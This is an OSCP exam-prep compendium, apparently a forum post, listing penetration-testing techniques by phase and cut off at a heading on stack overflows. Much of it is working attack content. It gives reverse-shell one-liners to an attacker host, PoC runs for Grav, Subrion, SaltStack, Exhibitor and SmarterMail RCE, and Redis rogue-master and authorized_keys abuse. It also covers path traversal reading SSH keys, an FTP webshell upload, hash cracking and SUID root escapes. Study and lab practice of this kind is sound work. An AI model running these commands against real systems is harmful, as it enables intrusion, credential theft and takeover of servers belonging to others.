XP
Discord

OSCP - Recon to Root - WIP


image# OSCP Compendium - Recon to Root - Work in Progress

A working compendium of techniques and lessons from OSCP-style lab boxes, organized by attack phase rather than by box. Flip to whichever section matches the wall you're stuck at.

Each technique entry tries to answer four questions:

  1. Surface / Identification - how do I recognize when this applies?
  2. Why it works - the mechanism in one or two paragraphs
  3. Exploitation - exact commands
  4. Gotchas - the things that waste time when they bite

Placeholders used throughout:

  • $IP / $TARGET - the target machine
  • $ATTACKER / $TUN0 - your attacking machine (the tun0 IP on a VPN lab)
  • $PORT - a listener port
  • $USER, $PASS - credentials when generic

Bash blocks assume Kali Linux.


Table of Contents

  1. Recon and Service Identification
  2. Web Application Footholds
  3. Service Footholds (Redis, SaltStack, Exhibitor, SmarterMail, FTP)
  4. Linux Privilege Escalation
  5. Windows Privilege Escalation
  6. SSH Tradecraft
  7. Reverse Shells and Catchers
  8. Methodology and Mindset
  9. References

1. Recon and Service Identification

1.1 Default nmap flow

# Always-run baseline
nmap -sCV -p- -T4 -oN nmap/tcp_full.txt $IP

# UDP in parallel (top 100 is usually enough)
sudo nmap -Pn -sU --top-ports 100 -oN nmap/udp_top100.txt $IP

# Add hostname to /etc/hosts as soon as a redirect reveals one
echo "$IP target.local" | sudo tee -a /etc/hosts

Run UDP in a separate pane so the slow scan doesn't block your TCP work.

1.2 Port-knock first-five-things

Given an open port, what should you immediately try?

PortServiceFirst five actions
21FTPanon login (ftp -inv $IP), banner -> searchsploit, list root, look for upload, check for /etc/passwd-style paths
22SSHbanner -> CVE check (rare on modern), user enum via timing (older), key auth tests if you have keys
25SMTPVRFY/EXPN/RCPT TO user enum, open relay test
53DNSdig axfr @$IP <domain>, zone transfer for subdomain leaks
80HTTPmanual browse, whatweb, feroxbuster, view source, robots.txt, .git/
110POP3banner, weak creds
139/445SMBsmbclient -L //$IP -N, enum4linux-ng $IP, nxc smb $IP --shares, null sessions, anon shares
143IMAPbanner, weak creds
443HTTPSas 80, plus cert subjects/SANs for hostnames
1433MSSQLweak SA, xp_cmdshell, nxc mssql
2049NFSshowmount -e $IP, mount and check for no_root_squash
3306MySQLweak creds, version -> searchsploit, INTO OUTFILE for file write if FILE priv
3389RDPxfreerdp /u: /v:$IP, NLA toggle, BlueKeep check
5432PostgreSQLweak creds, COPY ... FROM PROGRAM, large_object tricks
5985WinRMevil-winrm with creds, nxc winrm for spraying
6379Redissee section 3.1
8080HTTP-altTomcat manager, Jenkins, Gitea - dirbust the path, do NOT assume 404 means empty
9200Elasticversion -> CVE-2014-3120/2015-1427 RCE on old; data exfil via _search
27017MongoDBunauth mongo $IP, drop in shell, exfil collections
11211memcachedunauth stats, slabs dump
873rsyncrsync $IP:: for module listing, anon read

General pattern: identify version -> searchsploit -> CVE -> try unauth/default creds -> write/read primitives -> escalate.

1.3 Anonymous FTP on Windows is usually a service interface

Anonymous FTP on a Windows host is rarely just file storage. It's almost always a product-specific interface, and the folder layout fingerprints the product:

Folder layoutProduct
ImapRetrieval/, PopRetrieval/, Spool/, Logs/SmarterMail
Data/<domain>/<user>/...hMailServer
Postoffices/<domain>/Mailroot/...MailEnable
Users/<domain>/... with no retrieval foldersMDaemon
accounts/, extensions/, certificates/, log/zFTPServer

Once you've identified the product:

  1. Confirm with nmap -sV on the product's web port (e.g. SmarterMail on :9998).
  2. Pull every log file. Older builds leak usernames or recipient addresses that feed user-list attacks later.
  3. Cross-reference the version against known CVEs.

1.4 Web fingerprinting when there is no banner

Some CMSes (Grav is a notable example) don't expose a version string anywhere obvious - no HTTP header, no meta tag, no login page hint. When whatweb, wappalyzer, and view-source all come up empty, walk through the install's known-shipped files in order:

# 1. CHANGELOG.md - shipped in the release tarball, usually exposed
curl -s http://$IP/path/CHANGELOG.md | head -30

# 2. Plugin/admin changelog (separate from core version)
curl -s http://$IP/path/user/plugins/admin/CHANGELOG.md | head -30

# 3. composer.json / composer.lock
curl -s http://$IP/path/composer.json
curl -s http://$IP/path/composer.lock | grep -A2 '"name":'

# 4. README.md / VERSION
curl -s http://$IP/path/README.md | head -20

# 5. JS bundle paths - version sometimes baked into asset hashes
curl -s http://$IP/path/admin/login -o login.html
grep -E 'version|admin-all|vendor-all' login.html

# 6. Plugin/theme blueprints (YAML files)
curl -s http://$IP/path/user/plugins/admin/blueprints.yaml

If all of that fails, install-timestamp + GitHub release calendar is the last-ditch fingerprint:

  1. Get the timestamp from Apache http-ls output, curl -I Last-Modified, or a directory listing.
  2. Pull the release history from the project's GitHub.
  3. Find the version current on or just before that date.

This works because most lab boxes are unzipped from a specific release tarball at install time, and the file timestamps don't get touched afterwards. If they did (touch or tar --touch), cross-check timestamps on multiple files.

1.5 When 404 means "subpath app"

Embedded Jetty/Tomcat services (ZooKeeper Exhibitor, Solr, Jenkins, Spark UI, Kafka admin) mount their UIs at a sub-path. The HTTP root frequently returns 404 even when a perfectly accessible admin UI lives at /exhibitor/, /jenkins/, /solr/, etc.

If you see:

HTTP/1.1 404 Not Found
Server: Jetty(9.x.x)

Don't walk away. Dirbust the path. The Powered by Jetty or Tomcat banner is a strong tell that something is hosted there.

1.6 Two ports for one product are independent auth scopes

Some products bind two ports for the same service (FTP service on :21, FTP admin protocol on :3145, for example). The default credential sets are often different for the two ports. Test the product's documented defaults on each port, separately, before assuming one is locked down.

This is also where nxc is faster than hydra - sweep with the product's documented defaults first, hydra against rockyou only after.

1.7 Apache Options +Indexes is a recon gift

The http-ls nmap script catches it automatically:

| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/

The directory listing reveals app names, install timestamps, and (when the admin forgot to suppress them) backup files. The timestamps frequently double as a version-fingerprint primitive (see 1.4).

1.8 Subdomain busting

ffuf -H "Host: FUZZ.target.local" -u http://target.local \
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 1

Negative result on a lab box is normal. Don't burn 30 minutes on it.


2. Web Application Footholds

2.1 The CMS attack pattern

The same flow works for Subrion, Backdrop, Grav, ZoneMinder, Flowise, and a dozen other CMSes you'll see in labs:

  1. Fingerprint the CMS (footer text, robots.txt patterns, favicon hash, JS bundle paths)
  2. Get the version (see 1.4 if no banner)
  3. searchsploit / Google <CMS> <version> exploit for known CVEs
  4. Default credentials at the admin panel (admin:admin, admin:password, <product>:<product>)
  5. Auth'd file upload RCE is the most common exploit class

Always try default creds before brute-forcing or chasing a CVE - 5 seconds per service vs 20 minutes of hydra.

2.2 Default creds before brute force, on every service

Build a reflex: enumerate -> grab every banner -> Google <product> default credentials for each service -> only then start brute-forcing.

Themed banners, basic-auth realms with cute quotes, "crack the nut" type strings are flavor, not strategy. If a realm string reads like a brute-force prompt, it is more likely a distraction than a hint. Test other services first.

2.3 Rails mass-assignment

Surface:

Rails app (look for X-Frame-Options: SAMEORIGIN, X-XSS-Protection, X-Request-Id, X-Runtime headers; session cookie name like _appname_session) with an endpoint that updates a model and returns the model serialized as JSON.

Why it works:

Rails controllers can update model attributes from a request hash via @user.update(params[:user]). If the developer didn't filter the hash through strong_parameters (calling .permit(:email, :name, ...)), every column on the model becomes settable from the request - including booleans that gate login, admin flags, role columns, etc.

The dead giveaway: a response that contains a sensitive attribute (e.g. "confirmed": false, "admin": false, "role": "user") is almost certainly also accepting that attribute on input.

Exploitation:

Original form body to update email:

_method=patch
&authenticity_token=<token>
&user[email][email protected]
&commit=Change%20email

Add the sensitive field:

_method=patch
&authenticity_token=<token>
&user[email][email protected]
&user[confirmed]=true
&commit=Change%20email

Response now shows "confirmed": true. You've bypassed whatever check that field gated.

Reflex: Any time a Rails app returns model JSON, inspect every attribute in the response. Try setting each one in the request. Booleans and string columns that look administrative (role, admin, confirmed, verified, enabled) are the targets.

2.4 Path traversal in directory parameters

Surface:

A web app with a cwd, dir, path, folder, or directory parameter - particularly on download or file-listing endpoints.

Why it works:

Developers reflexively sanitize anything called "filename" (basename strip, regex to remove slashes, etc.) but the directory parameter is treated permissively because by design it has to accept path components.

A typical vulnerable construction:

path = File.join(STORAGE_DIR, params[:cwd], params[:file])
send_file(path)

Ruby's File.join (and equivalents in PHP, Python's os.path.join) does not normalize .. segments. It just glues strings with separators. So a traversal payload in cwd escapes STORAGE_DIR while file stays well-formed and bypasses any basename check.

Exploitation:

GET /filemanager?cwd=../../../../../../etc&file=passwd&download=true
GET /filemanager?cwd=../../../../../../home/user/.ssh/keys&file=id_rsa&download=true

Notes on depth: STORAGE_DIR is often 5-7 levels deep from /. Iterate traversal depth until you hit content. Most apps need an action flag like &download=true to route to the file-serving handler, without which the traversal bug is in the listing/render path and doesn't fire.

2.5 Test every parameter on every endpoint

When you find a primitive in one endpoint's parameter, try the same parameter on every other endpoint of the same app. Path traversal in cwd on a download endpoint is half a vulnerability; the same cwd honored on an upload endpoint upgrades read-only LFI to arbitrary read+write.

Concrete example: a cwd traversal on GET /filemanager?download=true lets you read any file the web process can read. Same cwd on POST /filemanager (file upload) lets you write any file the web process can write. The latter turns into a shell when you write authorized_keys into the daemon user's ~/.ssh/.

2.6 Privilege-boundary mapping after LFI

When LFI (or any arbitrary-read primitive) lands, the bug itself doesn't tell you which user the process runs as. Map the privilege boundary by testing what you can't read:

GET /filemanager?cwd=../../../../../../root&file=anything  -> permission denied

A permission-denied on /root (mode 0700, owned by root) means the web process is not root. Combined with successful reads in a regular user's home, you've identified the process owner. This is critical because:

  • Whether your authorized_keys write will be honored depends on file ownership at the target path
  • The user you've "effectively compromised" is the process owner, not root
  • Lateral primitives (writing into another user's home) won't work

Reflex: Whenever LFI lands, immediately test:

  • /root/.bash_history or /root/anything -> can you read it?
  • /etc/shadow -> generally only root
  • Other users' homes (/home/*/...) -> tells you if you can pivot laterally through filesystem writes

2.7 LFI is reconnaissance for later phases

LFI isn't only an exploitation step; it's a recon tool for everything that comes after.

If you have LFI as user webuser and the privesc target later turns out to be a key in ~/keys/root, you could have read that key during the LFI phase and pre-staged the privesc invocation. The foothold step (getting an actual shell) is still required, but the privesc material is in hand before you land the shell.

Build the habit: after LFI lands, enumerate every readable file you'll need later. Especially ~/.ssh/ (entire directory, not just canonical filenames), /etc/crontab, /etc/passwd, recent log files, application config files with credentials.

2.8 Specific CVE - Grav Admin Plugin SSTI (CVE-2021-21425)

Surface: Grav CMS install with admin plugin enabled (/admin resolves to a login page), version 1.7.0 through 1.7.10 (or admin plugin version <= 1.10.10).

Why it works: The admin plugin's task handler accepts a task parameter evaluated as a Twig template under specific endpoints. Chain auth bypass + Twig SSTI -> unauthenticated RCE as the web user.

Exploitation (CsEnox PoC):

git clone https://github.com/CsEnox/CVE-2021-21425
cd CVE-2021-21425

# Always test command execution first - confirms the exploit reaches the target
sudo tcpdump -i tun0 icmp &
python3 exploit.py -t http://$IP/grav-admin -c 'ping -c 3 $TUN0'
# tcpdump should show ICMP echo requests from the target

# Reverse shell
penelope -i tun0 -p $PORT
python3 exploit.py -t http://$IP/grav-admin \
  -c '/bin/bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'

Gotchas:

  • Lands as www-data, not as a Grav admin user
  • The PoC handles quoting cleanly for most payloads; no need for base64
  • Creates noise in Grav's logs

2.9 Specific CVE - Subrion CMS 4.2.1 auth'd upload RCE

Surface: Subrion CMS 4.2.1 (footer text, /panel login endpoint, robots.txt patterns referencing /panel/, /front/, /install/, /updates/).

Why it works: Webroot file-extension blacklist bypass via .phar or double-extension on the admin file manager. Default creds admin:admin work on many lab/CTF deployments.

Exploitation:

# PoC: https://github.com/Swammers8/SubrionCMS-4.2.1-File-upload-RCE-auth-
python3 exploit.py -u http://$IP/panel -l admin -p admin -c 'whoami'

Operating gotchas:

  1. The PoC's shell is not interactive. Each python3 exploit.py -c '<cmd>' is a fresh HTTP POST -> fresh PHP process. State (cwd, env, jobs) does not persist between commands. If cd "doesn't work," that's why.

  2. Quoting is fragile. Bare bash -c '...' with redirection tends to mangle. Use base64 + brace expansion to bypass the wrapper:

    PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' | base64 -w0)
    python3 exploit.py -c "bash -c '{echo,${PAYLOAD}}|{base64,-d}|bash'"
    
  3. Skip the wrapper for iteration speed once the webshell is uploaded - curl the dropped .phar directly with a cmd= parameter.

2.10 General CMS RCE - catcher choice

  • penelope -p $PORT auto-upgrades raw shells to PTY. Only feed it raw shells, not pty.spawn(...). Pre-ptied connections cause double-upgrade and hangs.

  • rlwrap nc -lvnp $PORT is the bulletproof fallback. Manual PTY upgrade:

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl-Z
    stty raw -echo; fg
    export TERM=xterm-256color; stty rows 50 columns 200
    

3. Service Footholds

3.1 Redis (port 6379)

3.1.1 Recon

# Unauth handshake
nc -nv $IP 6379
INFO                          # version, OS, uptime, build, pid, dir, executable
CLIENT LIST                   # other connections - sometimes leaks paths/IPs
CONFIG GET *                  # full server config dump
KEYS *                        # all keys (DANGEROUS on prod, fine on CTF)
MODULE LIST                   # loaded modules
SLOWLOG GET 25                # previous slow commands - sometimes contain creds
LASTSAVE                      # last RDB write timestamp

# Auth probe (requirepass set?)
redis-cli -h $IP ping
# "NOAUTH Authentication required" -> password is set
# "PONG" -> unauth -> game on

# Brute when needed
hydra -P /usr/share/wordlists/rockyou.txt redis://$IP

Key indicators in INFO:

  • redis_version - drives which exploits apply
  • os - Linux distro affects Lua sandbox escape feasibility
  • executable - /usr/local/bin/redis-server indicates manual install (likely non-default user)
  • process_id + uptime_in_days - long uptime = stable target, instance hasn't been reverted

3.1.2 Attack matrix - pick the primitive

PrimitiveWhen it worksWhen it doesn't
Write authorized_keysDaemon user has writable .ssh somewhereHardened install, daemon uid has no homedir or .ssh
Write cron job/var/spool/cron/crontabs/<user> or /etc/cron.d/ writablePermissions blocked, or cron not running
Write webshellWeb root writable AND a PHP/etc. handler reachableNo web service, or webroot read-only
Lua sandbox escape (CVE-2022-0543)Debian/Ubuntu, Redis 5.0.5 or lower (varies by build)RHEL-family, patched builds
Rogue master + MODULE LOADRedis 4.x/5.x, unauth, no MODULE blocklistAuth required (handle with -a), or MODULE LOAD disabled

3.1.3 SSH key write (try first, fail fast)

The canonical Redis-to-shell. Push your pubkey into Redis as a value, then trick Redis into saving its RDB file to <target_user>/.ssh/authorized_keys:

# Generate key on Kali
ssh-keygen -t ed25519 -f ./key -N "" -C "attacker"

# Pad with newlines so RDB binary noise doesn't corrupt the key line
(printf '\n\n\n'; cat key.pub; printf '\n\n\n') > key.txt

# Push into Redis
cat key.txt | redis-cli -h $IP -x set crackit
redis-cli -h $IP config set dbfilename "authorized_keys"

# Probe common writable .ssh paths
for d in /root/.ssh /home/redis/.ssh /home/ubuntu/.ssh /home/admin/.ssh \
         /var/lib/redis/.ssh /redis/.ssh /usr/local/redis/.ssh; do
  echo -n "$d: "
  redis-cli -h $IP config set dir "$d" 2>&1
done

# If one succeeds:
redis-cli -h $IP save
ssh -i ./key <user>@$IP

If every path errors:

  • Permission denied on /root/.ssh -> exists, but Redis daemon isn't root.
  • No such file or directory on /home/*/.ssh -> daemon user's home isn't there.

Lesson: when SSH-key write is blocked across the obvious targets, pivot to a primitive that doesn't depend on the daemon's filesystem permissions. Don't fixate. Module load (3.1.5) works regardless of .ssh accessibility.

3.1.4 Lua sandbox escape (CVE-2022-0543, Debian/Ubuntu)

One-shot RCE if the OS is Debian-family AND the build is vulnerable:

redis-cli -h $IP <<'EOF'
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
EOF

If you see uid/gid output -> vulnerable. For a reverse shell:

CMD='bash -c "bash -i >& /dev/tcp/$TUN0/$PORT 0>&1"'
redis-cli -h $IP eval "local f = io.popen('${CMD}', 'r'); f:read('*a')" 0

3.1.5 Rogue master + MODULE LOAD (universal Redis 4.x/5.x)

The bullet-proof technique. Spin up a fake Redis master on the attacker box, tell the target SLAVEOF us, serve a malicious .so as the replication payload. Target loads it via MODULE LOAD and exposes a system.exec command.

Setup once:

git clone https://github.com/n0b0dyCN/redis-rogue-getshell
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

cd RedisModules-ExecuteCommand
# gcc 10+ fix - the module source uses strlen, strcat, inet_addr without
# including their headers. Pre-gcc 10 issued warnings; gcc 10+ promotes to errors.
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
make
file module.so   # should report: ELF 64-bit shared object

Run:

cd ../redis-rogue-getshell

# Listener (separate pane)
penelope -i tun0 -p 1338

# Fire
python3 redis-master.py \
  -r $IP -p 6379 \
  -L $TUN0 -P 8888 \
  -f ../RedisModules-ExecuteCommand/module.so \
  -c "bash -c 'bash -i >& /dev/tcp/$TUN0/1338 0>&1'"

Wire transcript:

SLAVEOF $TUN0 8888                -> +OK
CONFIG SET dbfilename exp.so      -> +OK
(receives PING / REPLCONF / PSYNC from target)
MODULE LOAD ./exp.so              -> +OK
SLAVEOF NO ONE                    -> +OK
CONFIG SET dbfilename dump.rdb    -> +OK   (cleanup)
system.exec "<reverse shell>"     -> (hangs)

Crucial gotcha: the final system.exec "hangs" with a TimeoutError traceback in the rogue-master script - this is expected. The named-pipe or bash -i reverse shell never returns control to the Redis socket. Penelope catches the connection regardless. If you used a non-returning payload, the traceback is benign.

Other notes:

  • If MODULE LOAD is disabled (config get enable-module-command returns "no"), this technique is out.
  • If Redis is auth'd, pass -a <password> to the script.

3.2 SaltStack (CVE-2020-11651 / CVE-2020-11652)

Surface:

4505/tcp open  zmtp    ZeroMQ ZMTP 2.0   <- pub channel (minion subscribe)
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0   <- req channel (EXPLOIT TARGET)
8000/tcp open  http    nginx (salt-api)

The exploitable port is 4506. The HTTP salt-api on 8000 is a separate attack surface that requires different handling.

# salt-api fingerprint
curl -s http://$IP:8000/run | jq
# Returns: "clients": ["local","local_async","runner","wheel","ssh","wheel_async"]
# This client list is SaltStack-specific - immediate identification

# Version fingerprint - provoke a 500 to leak CherryPy version in error body
curl -s http://$IP:8000/logout
# "Powered by CherryPy 5.6.0" -> old SaltStack, likely vulnerable

Why it works: SaltStack master accepts {"cmd": "_prep_auth_info"} on the ZeroMQ req channel (4506) without authentication and returns the master root key. The root key then permits arbitrary code execution via the runner client.

Exploitation:

# Retrieve root key (no auth)
./PoC.py --host $IP --fetch-key-only

# Direct exec via runner (most reliable)
./PoC.py --host $IP --execute "id"

# Reverse shell - single quotes inside double quotes (quoting matters!)
./PoC.py --host $IP --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"

# Execute on minions instead of master
./PoC.py --host $IP --minions --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"

# File read/write via wheel
./PoC.py --host $IP --download /root/proof.txt ./proof.txt
./PoC.py --host $IP --upload ./shell.sh /tmp/shell.sh

Metasploit alternative:

use exploit/linux/misc/saltstack_salt_unauth_rce
set RHOSTS $IP
set LHOST $TUN0
set LPORT $PORT
run

Common pitfalls:

SymptomCauseFix
401 on salt-api with root keyRoot key != X-Auth-TokenUse ZeroMQ PoC, not curl to :8000
jid returned but no shellTCP egress filteredUse HTTP/ICMP exfil instead
Shell quoting breaksDouble-double-quote nestingSingle inside double: "bash -c 'cmd'"
--download fails on /root/xfile_roots.read reads /srv/salt/ onlyCopy file there first, or use HTTP exfil

Egress check (if shell doesn't come back):

# On Kali
sudo tcpdump -i tun0 icmp

# Via code exec
./PoC.py --host $IP --execute "ping -c 3 $TUN0"
# ICMP hits -> exec works, TCP is filtered (use HTTP exfil)
# No hits -> exec not working at all

3.3 Exhibitor / ZooKeeper (CVE-2019-5029)

Surface:

  • Open ZooKeeper port (typically 2181) plus an HTTP service on a sibling port (8080/8181/etc.)
  • HTTP root returns 404; Exhibitor UI lives at /exhibitor/v1/ui/index.html
  • Powered by Jetty banner on the 404 page is a strong tell
  • ZooKeeper version from nmap helps confirm vulnerable era: ZK 3.4.x with Exhibitor below 1.7.2

Why it works: Exhibitor is a JVM supervisor for ZooKeeper that exposes a config editor through its Web UI. The java.env script field is written to a shell script and executed when ZK is (re)started. Anything you put there runs as the Exhibitor user. No auth required by default.

Exploitation:

  1. Browse to http://$IP:$HTTP_PORT/exhibitor/v1/ui/index.html

  2. Navigate to Config -> Editing

  3. In the java.env script field, drop a command-injection payload using backticks or $():

    $(/bin/nc -e /bin/sh $TUN0 $PORT &)
    
  4. Commit the config change. Wait for ZK to (re)launch - Exhibitor will execute the field's contents.

  5. Catch with penelope -i tun0 -p $PORT.

Gotchas:

  • nc -e only works on the traditional/openbsd variants of netcat. If unavailable, fall back to:
    • $(bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' &)
    • $(python3 -c '...' &)
  • The & at the end is not optional - without backgrounding, Exhibitor's bootstrap hangs waiting for the shell to exit and never finishes launching ZK.
  • Some Exhibitor builds sanitize newlines; keep the payload single-line.

3.4 SmarterMail .NET Remoting (CVE-2019-7214)

Surface:

  • Windows host with nmap showing 17001/tcp open remoting MS .NET Remoting services
  • Cross-reference with a SmarterMail web UI on :9998 or :80/:443
  • The version on the web UI does NOT reliably predict exploitability. The patch shipped at the binary level, but on misconfigured or partially-upgraded hosts the legacy listener on :17001 can still be bound.

Why it works: SmarterMail builds below 6985 expose a .NET Remoting endpoint that accepts a BinaryFormatter-serialized object over TCP. The endpoint deserializes the blob without type filtering, so a TypeConfuseDelegate gadget chain triggers arbitrary command execution under the SmarterMail service account - which is NT AUTHORITY\SYSTEM by default. No auth, no user context, no privesc.

Exploitation (EDB 49216):

searchsploit -m 49216

# Patch the four constants at the top of 49216.py
sed -i "s/HOST='192.168.1.1'/HOST='$IP'/" 49216.py
sed -i "s/LHOST='192.168.1.2'/LHOST='$TUN0'/" 49216.py
sed -i "s/LPORT=4444/LPORT=1339/" 49216.py
# PORT=17001 default is fine

# Start a catcher
penelope -i tun0 -p 1339

# Fire
python3 49216.py

Shell returns as:

PS C:\Windows\system32> whoami
nt authority\system

No privesc step. The SmarterMail service runs as SYSTEM, so the deserialization payload lands as SYSTEM.

Detection-only PoC: CVE-2025-52691 reads the version from /interface/root. Useful for confirming SmarterMail is in play, but doesn't give a shell.

Failure modes:

  • Connection refused on :17001 but web UI works -> service was upgraded, .NET Remoting listener disabled. Genuinely patched. Move on.
  • TCP handshake but no shell -> AV stripped the PowerShell stager. Swap the psh_shell for a certutil cmdstager or a cmd.exe /c payload that downloads nc.exe.
  • Shell as a low-priv app pool user, not SYSTEM -> wrong service account. Verify with tasklist /svc | findstr -i smarter.

3.5 The .NET Remoting reflex

Any Windows server where nmap -sV returns the literal string remoting is a deserialization candidate. Same reflex applies to:

  • SolarWinds Orion (:17778, :17790 .NET Remoting)
  • Telerik UI for ASP.NET AJAX (different vector but same BinaryFormatter problem)
  • Various internal CRM/ERP boxes

Hand-rolled payloads: ysoserial.net generates raw blobs targeting tcp://<host>:17001/Servers (or whatever endpoint).

3.6 zFTPServer + WAMP webroot pivot

Surface:

  • 220 zFTPServer v6.0, build YYYY-MM-DD banner
  • Often colocated with Apache/IIS where FTP serves the same directory the web server reads from
  • Two ports: :21 (FTP) and :3145 (zftp-admin protocol). Independent default cred sets.

Defaults to try:

  • admin:admin on :21 - the FTP service's built-in admin account. Heavily under-tested because everyone assumes "admin" must be on the admin port.
  • anonymous: on :21 for read-only enum.
  • Vendor admin defaults on :3145 are different from :21 - don't assume :21 success implies :3145 success.

Why it matters: zFTPServer is frequently configured to serve directly out of a webroot - an authenticated FTP login is effectively webroot write access. That converts the FTP foothold directly into RCE on whatever PHP/ASP stack sits on top, without needing any vuln in the web app itself.

Workflow:

ftp $IP
# admin:admin
ftp> ls -la
# Look for web markers: .htaccess, web.config, index.php, index.aspx

ftp> put cmd.php
# Trigger via the web service
curl "http://$IP/cmd.php?cmd=whoami"

Apache 2.2.21 + PHP 5.3.8 on Windows almost certainly indicates WAMP. Default WAMP webroot: C:\wamp\www\ (or C:\wamp64\www\).

3.7 Apache .htpasswd + $apr1$ cracking

Surface:

  • Apache server with HTTP Basic auth (WWW-Authenticate: Basic realm=...)
  • .htaccess files referencing AuthUserFile <path> - that path is the .htpasswd location
  • Common on WAMP/XAMPP labs, vendor admin panels, legacy LAMP installs

Hash format:

username:$apr1$<8-char-salt>$<22-char-hash>
  • $apr1$ is Apache's MD5-based crypt variant (1000 rounds, custom).
  • Hashcat mode: 1600 (Apache $apr1$ MD5).
  • John format: md5crypt-apache or apache-md5.

Crack:

hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt
# or with rules
hashcat -m 1600 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Common file paths:

  • WAMP: C:\wamp\www\.htpasswd or C:\wamp64\www\.htpasswd
  • XAMPP: C:\xampp\htdocs\.htpasswd
  • Apache on Linux: /etc/apache2/.htpasswd, /var/www/.htpasswd, or inside docroot

The .htaccess always tells you the exact path - read it first, don't guess.

Scoping reminder: A cracked basic-auth cred is scoped to the realm only. Test it elsewhere with nxc rdp/smb/winrm/ftp but don't assume reuse - HTTP basic-auth creds are not Windows creds, even when the username matches.


4. Linux Privilege Escalation

4.1 sudo -l is always step 1

sudo -l                              # who am I allowed to be?
sudo -V | head -1                    # version -> CVE applicability (CVE-2021-3156 etc.)
sudo --host=fakehost -l 2>/dev/null  # leak rules without password (older sudo)

If (root) NOPASSWD: /path/to/binary appears, that binary is the target. Strategy depends on what it does:

Binary callsEscape via
systemctl status ..., journalctl ...!cmd in less (pager auto-invoked)
man <page>, more <file>, less ...!cmd in pager
vi/vim something:!/bin/sh
find ... -exec foofind x -exec /bin/sh \; if find is the sudo'd binary
python <script>If script is writable, edit it; else stdin injection
awk/sed/perl/rubyGTFOBins one-liners
Custom binary, no sourcestrings, then BOF/format-string/path-hijack/env-injection

4.2 GTFOBins is the first stop

https://gtfobins.github.io

For any non-standard sudo entry, SUID binary, or capability, GTFOBins probably has the escape. Use the SUID column for SUID binaries (prefer entries with -p / EUID preservation - see 4.4), the Sudo column for sudo entries.

4.3 SUID enumeration

# The one-liner
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

# Cleaner variants
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null | xargs ls -la 2>/dev/null

# SUID + SGID together
find / -perm -6000 -type f 2>/dev/null

# Drop the standard Ubuntu noise
find / -perm -4000 -type f 2>/dev/null | grep -vE '/(snap|sudo|mount|umount|su|chsh|chfn|gpasswd|newgrp|passwd|fusermount|policykit|dbus|ssh-keysign|snap-confine|pkexec|at|eject)'

SUID enum is about outlier detection, not list reading. Memorize the standard Ubuntu/Debian/RHEL SUID sets so the non-standard binaries pop visually. On exam time pressure this is the difference between 10 seconds and 5 minutes.

Standard noise on a vanilla Ubuntu install:

  • /usr/bin/{sudo,su,passwd,chsh,chfn,gpasswd,newgrp,mount,umount,fusermount}
  • /usr/bin/at
  • /usr/lib/{openssh/ssh-keysign,policykit-1/polkit-agent-helper-1,dbus-1.0/dbus-daemon-launch-helper,eject/dmcrypt-get-device,snapd/snap-confine}
  • Anything under /snap/core*/

Outliers are the targets. /usr/bin/php7.4 with SUID is not standard. Same for /usr/bin/python3.x, /usr/bin/find, /usr/bin/cp, etc.

4.4 PHP/Perl/Ruby/Python SUID and the -p gotcha

/bin/sh and /bin/bash both drop the EUID back to the real UID on startup by default, as a security mitigation. The -p flag tells them to preserve the EUID. Without -p, your SUID shell-escape silently drops back to the calling user (e.g. www-data).

PHP SUID (GTFOBins recommended):

/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"

# If pcntl is not loaded
php7.4 -m | grep pcntl

# Fallbacks
/usr/bin/php7.4 -r 'posix_setuid(0); posix_setgid(0); system("/bin/sh -p");'
/usr/bin/php7.4 -r 'system("/bin/sh -p");'   # least reliable, often drops privs

Verifying:

whoami    # root
id        # may show uid=33(www-data) euid=0(root) - that's fine, euid=0 is what matters
cat /root/proof.txt
# To "clean up" the shell into a real root one if anything needs uid=0:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

If your shell escape "works" but whoami still says the original low-priv user, missing -p is the #1 reason.

4.5 Pager escapes (universal)

PagerEscape
less!cmd (run as pager's uid); v opens $EDITOR; :e /path reads files
more!cmd once content has paged; works on Linux
man!cmd inside; or invoke man on a writable section
vi/vim:!cmd, :shell, or :python import os; os.system("...")
nanoCtrl-R Ctrl-X then cmd (read command output)

These work because the pager spawns a subshell inheriting the running process's UID. Under sudo, that's root.

If the pager doesn't open when running a systemctl status or similar, your terminal is too tall - systemd decides whether to invoke less based on window size. Shrink:

stty rows 20 cols 80

Then re-run.

4.6 Custom binary triage

When you find a hand-installed binary under /usr/local/ or referenced in a sudo entry, always investigate. Distro binaries are vetted; bespoke ones are where the bugs live.

file ./binary
strings ./binary | less                # creds, paths, format strings, command literals
checksec --file=./binary               # NX/canary/PIE/RELRO matrix
ldd ./binary                           # linked libs - look for non-standard ones
objdump -d ./binary | less             # disassembly
nm -D ./binary                         # dynamic symbols - what's linked
ltrace ./binary                        # library calls - sees strcmp / fopen / system args
strace ./binary 2>&1 | less            # syscalls - sees execve args, file reads

Look for:

  • gets, strcpy, sprintf, scanf("%s", ...) -> stack BOFs
  • system, popen, execl* -> command injection if argument-controlled
  • strcmp against literals -> hardcoded passwords (use strings to find them)
  • Format-string callers (printf(user_input)) -> format-string vulns
  • fopen(..., "w") to attacker-influenced paths -> arbitrary file write

strings first, ghidra second. Hardcoded credentials, command-line invocations of pagers, and system() calls are constantly missed by people who jump straight to reverse engineering.

4.7 Stack BOF on sudo'd custom binaries

